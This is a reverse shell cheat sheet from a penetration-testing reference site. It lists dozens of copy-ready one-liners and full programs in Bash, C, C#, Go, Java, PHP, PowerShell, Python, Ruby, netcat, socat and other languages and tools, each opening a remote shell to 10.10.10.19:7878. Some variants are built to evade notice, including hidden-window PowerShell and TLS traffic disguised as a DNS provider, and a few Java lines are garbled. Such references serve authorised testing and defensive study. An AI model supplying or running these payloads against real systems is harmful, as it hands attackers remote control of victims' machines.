pwny.cc
Search…
Reverse Shells

AWK

1
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.19/7878"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Copied!

Bash

1
#-i
2
bash -c >& /dev/tcp/10.10.10.19/7878 0>&1
3
4
#196
5
0<&196;exec 196<>/dev/tcp/10.10.10.19/7878; sh <&196 >&196 2>&196
6
7
#readline
8
exec 5<>/dev/tcp/10.10.10.19/7878;cat <&5 | while read line; do $line 2>&5 >&5; done
9
10
#5
11
sh -i 5<> /dev/tcp/10.10.10.19/7878 0<&5 1>&5 2>&5
12
13
#udp
14
sh -i >& /dev/udp/10.10.10.19/7878 0>&1
Copied!

C

Linux

1
#include <stdio.h>
2
#include <sys/socket.h>
3
#include <sys/types.h>
4
#include <stdlib.h>
5
#include <unistd.h>
6
#include <netinet/in.h>
7
#include <arpa/inet.h>
8
9
int main(void){
10
int port = 7878;
11
struct sockaddr_in revsockaddr;
12
13
int sockt = socket(AF_INET, SOCK_STREAM, 0);
14
revsockaddr.sin_family = AF_INET;
15
revsockaddr.sin_port = htons(port);
16
revsockaddr.sin_addr.s_addr = inet_addr("10.10.10.19");
17
18
connect(sockt, (struct sockaddr *) &revsockaddr,
19
sizeof(revsockaddr));
20
dup2(sockt, 0);
21
dup2(sockt, 1);
22
dup2(sockt, 2);
23
24
char * const argv[] = {"sh", NULL};
25
execve("sh", argv, NULL);
26
27
return 0;
28
}
Copied!

Windows

1
#include <winsock2.h>
2
#include <stdio.h>
3
#pragma comment(lib,"ws2_32")
4
5
WSADATA wsaData;
6
SOCKET Winsock;
7
struct sockaddr_in hax;
8
char ip_addr[16] = "10.10.10.19";
9
char port[6] = "7878";
10
11
STARTUPINFO ini_processo;
12
13
PROCESS_INFORMATION processo_info;
14
15
int main()
16
{
17
WSAStartup(MAKEWORD(2, 2), &wsaData);
18
Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
19
20
21
struct hostent *host;
22
host = gethostbyname(ip_addr);
23
strcpy_s(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
24
25
hax.sin_family = AF_INET;
26
hax.sin_port = htons(atoi(port));
27
hax.sin_addr.s_addr = inet_addr(ip_addr);
28
29
WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
30
31
memset(&ini_processo, 0, sizeof(ini_processo));
32
ini_processo.cb = sizeof(ini_processo);
33
ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
34
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
35
36
TCHAR cmd[255] = TEXT("cmd.exe");
37
38
CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
39
40
return 0;
41
}
Copied!

C#

1
using System;
2
using System.Text;
3
using System.IO;
4
using System.Diagnostics;
5
using System.ComponentModel;
6
using System.Linq;
7
using System.Net;
8
using System.Net.Sockets;
9
10
11
namespace ConnectBack
12
{
13
public class Program
14
{
15
static StreamWriter streamWriter;
16
17
public static void Main(string[] args)
18
{
19
using(TcpClient client = new TcpClient("10.10.10.19", 7878))
20
{
21
using(Stream stream = client.GetStream())
22
{
23
using(StreamReader rdr = new StreamReader(stream))
24
{
25
streamWriter = new StreamWriter(stream);
26
27
StringBuilder strInput = new StringBuilder();
28
29
Process p = new Process();
30
p.StartInfo.FileName = "cmd.exe";
31
p.StartInfo.CreateNoWindow = true;
32
p.StartInfo.UseShellExecute = false;
33
p.StartInfo.RedirectStandardOutput = true;
34
p.StartInfo.RedirectStandardInput = true;
35
p.StartInfo.RedirectStandardError = true;
36
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
37
p.Start();
38
p.BeginOutputReadLine();
39
40
while(true)
41
{
42
strInput.Append(rdr.ReadLine());
43
//strInput.Append("\n");
44
p.StandardInput.WriteLine(strInput);
45
strInput.Remove(0, strInput.Length);
46
}
47
}
48
}
49
}
50
}
51
52
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
53
{
54
StringBuilder strOutput = new StringBuilder();
55
56
if (!String.IsNullOrEmpty(outLine.Data))
57
{
58
try
59
{
60
strOutput.Append(outLine.Data);
61
streamWriter.WriteLine(strOutput);
62
streamWriter.Flush();
63
}
64
catch (Exception err) { }
65
}
66
}
67
68
}
69
}
Copied!

Dart

1
import 'dart:io';
2
import 'dart:convert';
3
4
main() {
5
Socket.connect("10.10.10.19", 7878).then((socket) {
6
socket.listen((data) {
7
Process.start('sh', []).then((Process process) {
8
process.stdin.writeln(new String.fromCharCodes(data).trim());
9
process.stdout
10
.transform(utf8.decoder)
11
.listen((output) { socket.write(output); });
12
});
13
},
14
onDone: () {
15
socket.destroy();
16
});
17
});
18
}
Copied!

Golang

1
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.10.10.19:7878");cmd:=exec.Command("sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Copied!

Groovy

1
String host="10.10.10.19";int port=7878;String cmd="sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Copied!

Haskell

1
module Main where
2
3
import System.Process
4
5
main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | sh -i 2>&1 | nc 10.10.10.19 7878 >/tmp/f"
Copied!

Java

Basic

1
public class shell {
2
public static void main(String[] args) {
3
Process p;
4
try {
5
p = Runtime.getRuntime().exec("bash -c [email protected]|bash 0 echo bash -i >& /dev/tcp/10.10.10.19/7878 0>&1");
6
p.waitFor();
7
p.destroy();
8
} catch (Exception e) {}
9
}
10
}
Copied!

ProcessBuilder

1
public class shell {
2
public static void main(String[] args) {
3
ProcessBuilder pb = new ProcessBuilder("bash", "-c", "[email protected]| bash -i >& /dev/tcp/10.10.10.19/7878 0>&1")
4
.redirectErrorStream(true);
5
try {
6
Process p = pb.start();
7
p.waitFor();
8
p.destroy();
9
} catch (Exception e) {}
10
}
11
}
Copied!

Longest

1
import java.io.InputStream;
2
import java.io.OutputStream;
3
import java.net.Socket;
4
5
public class shell {
6
public static void main(String[] args) {
7
String host = "10.10.10.19";
8
int port = 7878;
9
String cmd = "sh";
10
try {
11
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
12
Socket s = new Socket(host, port);
13
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
14
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
15
while (!s.isClosed()) {
16
while (pi.available() > 0)
17
so.write(pi.read());
18
while (pe.available() > 0)
19
so.write(pe.read());
20
while (si.available() > 0)
21
po.write(si.read());
22
so.flush();
23
po.flush();
24
Thread.sleep(50);
25
try {
26
p.exitValue();
27
break;
28
} catch (Exception e) {}
29
}
30
p.destroy();
31
s.close();
32
} catch (Exception e) {}
33
}
34
}
Copied!

Lua

1
--1
2
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.19','7878');os.execute('sh -i <&3 >&3 2>&3');"
3
4
--2
5
lua5.1 -e 'local host, port = "10.10.10.19", 7878 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
Copied!

Netcat

Linux

1
#basic
2
nc -e /bin/sh 10.10.10.19 7878
3
4
#pipe
5
nc 10.10.10.19 7878 | /bin/sh
6
7
#mkfifo
8
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.19 7878 >/tmp/f
Copied!

Windows

1
nc.exe -e cmd.exe 10.10.10.19 7878
Copied!

Ncat

Linux

1
#basic
2
ncat 10.10.10.19 7878 -e sh
3
4
#udp
5
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u 10.10.10.19 7878 >/tmp/f
Copied!

Windows

1
ncat.exe 10.10.10.19 7878 -e sh
Copied!

NodeJS

1
require('child_process').exec('nc -e sh 10.10.10.19 7878')
Copied!

Perl

1
#basic
2
perl -e 'use Socket;$i="10.10.10.19";$p=7878;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
3
4
#no sh
5
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.19:7878");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Copied!

PHP

1
#inside PHP file
2
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.19/7878 0>&1'"); ?>
3
4
#exec
5
php -r '$sock=fsockopen("10.10.10.19",7878);exec("/bin/sh -i <&3 >&3 2>&3");'
6
7
#shellexec
8
php -r '$sock=fsockopen("10.10.10.19",7878);shell_exec("sh <&3 >&3 2>&3");'
9
10
#system
11
php -r '$sock=fsockopen("10.10.10.19",7878);system("sh <&3 >&3 2>&3");'
12
13
#passthru
14
php -r '$sock=fsockopen("10.10.10.19",7878);passthru("sh <&3 >&3 2>&3");'
15
16
#`
17
php -r '$sock=fsockopen("10.10.10.19",7878);`sh <&3 >&3 2>&3`;'
18
19
#popen
20
php -r '$sock=fsockopen("10.10.10.19",7878);popen("sh <&3 >&3 2>&3", "r");'
21
22
#proc_open
23
php -r '$sock=fsockopen("10.10.10.19",7878);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Copied!

Powershell

1
#1
2
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.19",7878);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
3
4
#2
5
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.19',7878);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
6
7
#3
8
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.19', 7878);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
9
10
#tls
11
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.19', 7878);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
Copied!

Python

1
#1
2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.19",7878));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3
4
#2
5
export RHOST="10.10.10.19";export RPORT=7878;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
6
7
#short
8
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.10.19",7878));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
Copied!

Ruby

1
#1
2
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.10.19",7878))'
3
4
#2
5
ruby -rsocket -e'f=TCPSocket.open("10.10.10.19",7878).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
6
7
#no sh
8
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.19","7878");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Copied!

Socat

1
#basic
2
socat TCP:10.10.10.19:7878 EXEC:sh
3
4
#tty
5
socat TCP:10.10.10.19:7878 EXEC:'sh',pty,stderr,setsid,sigint,sane
Copied!

Telnet

1
TF=$(mktemp -u);mkfifo $TF && telnet 10.10.10.19 7878 0<$TF | sh 1>$TF
Copied!

Zsh

1
zsh -c 'zmodload zsh/net/tcp && ztcp 10.10.10.19 7878 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
Copied!